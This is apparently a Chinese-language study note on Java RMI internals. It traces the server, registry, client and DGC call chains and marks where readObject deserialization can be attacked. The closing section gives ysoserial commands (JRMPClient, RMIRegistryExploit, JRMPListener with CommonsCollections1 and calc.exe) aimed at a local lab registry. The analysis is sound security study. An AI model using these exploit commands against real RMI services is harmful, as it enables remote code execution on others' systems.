rmi源码了解
照着unk的来了。然后我这边下载了源码,有些变量不是var的格式。
https://unk.org.cn/2024/02/12/RMI(1)/
基础
服务端
创建远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| new RemoteObjImpl(); return UnicastRemoteObject#exportObject new UnicastServerRef(port) new LiveRef(port) this((new ObjID()), port); this(objID, TCPEndpoint.getLocalEndpoint(port), true); super(liveRef) return exportObject(this,unicastServerRef) return UnicastServerRef#exportObject(RemoteObjImpl,) Remote stub = Util.createProxy(implClass, getClientRef(), forceStubUse) Util.createProxy //创建动态代理 //RemoteObjectInvocationHandler //返回值是一个Remote的代理 new Target(impl, this, stub, ref.getObjID(), permanent); LiveRef#exportObject TCPEndPoint#exportObject TCPTransport#exportObject listen(); super.exportObject(target); ObjectTable.putTarget(target); DGCImpl#static return stub
|
创建注册中心
1 2 3 4 5 6 7 8 9 10 11
| LocateRegistry.createRegistry(port); return new RegistryImpl(port) LiveRef lref = new LiveRef(id, port); this.setup(new UnicastServerRef(lref)); UnicastServerRef#exportObject stub = Util.createProxy(implClass, getClientRef(), forceStubUse); setSkeleton(impl) Util.createSkeleton //反射生成sun.rmi.registry.RegistryImpl_Skel Target target =new Target(impl, this, stub, ref.getObjID(), permanent); //后面和上面的一样
|
绑定stub
很简单
1 2
| RegistryImpl.bindings.put(name, obj);
|
客户端
创建注册中心
1 2 3 4 5
| LocateRegistry#getRegistry new LiveRef(new ObjID(ObjID.REGISTRY_ID),new TCPEndpoint(host, port, csf, null),false); new UnicastRef(liveRef) return (Registry) Util.createProxy(RegistryImpl.class, ref, false) return createStub(remoteClass, clientRef); // 获取的是RegistryImpl_Stub
|
从注册中心获取远程对象stub
1 2 3 4 5 6 7 8 9 10 11 12 13
| RegistryImpl_Stub#lookup var3.writeObject(var1); // 传参 UnicastRef#newCall UnicastRef#invoke StreamRemoteCall#executeCall DataInputStream rd = new DataInputStream(conn.getInputStream());//和注册中心通信,获取stub的原始数据 // 服务端攻击客户端 case TransportConstants.ExceptionalReturn:in.readObject(); var23 = (Remote)var6.readObject(); // 接收参数 readObject //反序列化得到stub,注册中心攻击客户端
|
用stub调用远程对象方法
1 2 3 4 5 6 7 8 9
| RemoteObjectInvocationHandler#invoke invokeRemoteMethod UnicastRef#invoke call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); marshalValue(types[i], params[i], out) // 序列化需要传的参数 call.executeCall(); this.in.readObject(); //服务端/注册中心攻击客户端 unmarshalValue //这个方法是用来判断值类型的。 readObject() //若类型不是基础类型,则对远程方法的返回值readObject。服务端攻击客户端
|
注册中心
收到请求
在RegistryImpl_Skel#dispatch中根据调用的不同方法进入不同分支。
1 2 3 4 5 6 7 8 9 10 11
| handleMessages serviceCall UnicastServerRef#dispatch oldDispatch RegistryImpl_Skel#dispatch //客户端/服务端攻击注册中心 case 0: // bind(String, Remote) case 1: // list() case 2: // lookup(String) in.readObject(); // 对lookup的参数进行反序列化。客户端攻击服务端 case 3: // rebind(String, Remote) case 4: // unbind(String)
|
攻击方式:客户端获取到registry后,lookup不传字符串,传一个对象,那么服务端就会反序列化该对象。
服务端
处理请求
1 2 3
| UnicastServerRef#dispatch UnicastServerRef#unmarshalValue // 获取方法参数类型 UnicastServerRef#unmarshalValue // 传输
|
DGC
客户端
DGCImpl_Stub的生成
1 2 3 4 5 6 7
| RegistryImpl_Stub#lookup ref.done StreamRemoteCall#done ConnectionInputStream#registerRefs DGCClient#registerRefs EndpointEntry#lookup new EndpointEntry//到这一步就生成了DGCImpl_Stub
|
DGCImpl_Stub具体方法的调用
1 2 3 4 5 6 7 8
| //入口在EndpointEntry构造函数开启的新线程 RenewCleanThread#run 进入循环 makeDirtyCall DGCImpl_Stub#dirty this.ref.newCall()//与远程DGC服务端通信 call.getOutputStream()//获取远程DGC服务端结果 in.readObject //将结果反序列化。DGC客户端被DGC服务端攻击
|
服务端
处理客户端的dirty的时候,也会对客户端的数据readObject。
攻击
Registry
1 2 3 4 5 6 7 8 9 10 11
| handleMessages serviceCall UnicastServerRef#dispatch oldDispatch RegistryImpl_Skel#dispatch //客户端/服务端攻击注册中心 case 0: // bind(String, Remote) case 1: // list() case 2: // lookup(String) in.readObject(); // 对lookup的参数进行反序列化。客户端攻击服务端 case 3: // rebind(String, Remote) case 4: // unbind(String)
|
挖坑,待完成。
yso
直接打服务端或者注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import Api.RemoteObj; import Api.RemoteObjImpl; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws Exception { RemoteObj remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("remoteObj", remoteObj); } }
|
1 2 3
| // 打服务端或者注册中心。 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 calc.exe java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc.exe
|
直接打客户端
1 2
| Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
|
1
| java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc.exe
|
通过反序列化打客户端
1
| java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:1099 | base64 -w 0
|
开启恶意服务。然后通过反序列化即可触发。
1
| java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc.exe
|
JRMPListener 这个反序列化以后会开启一个rmi的监听端口然后再去打服务端。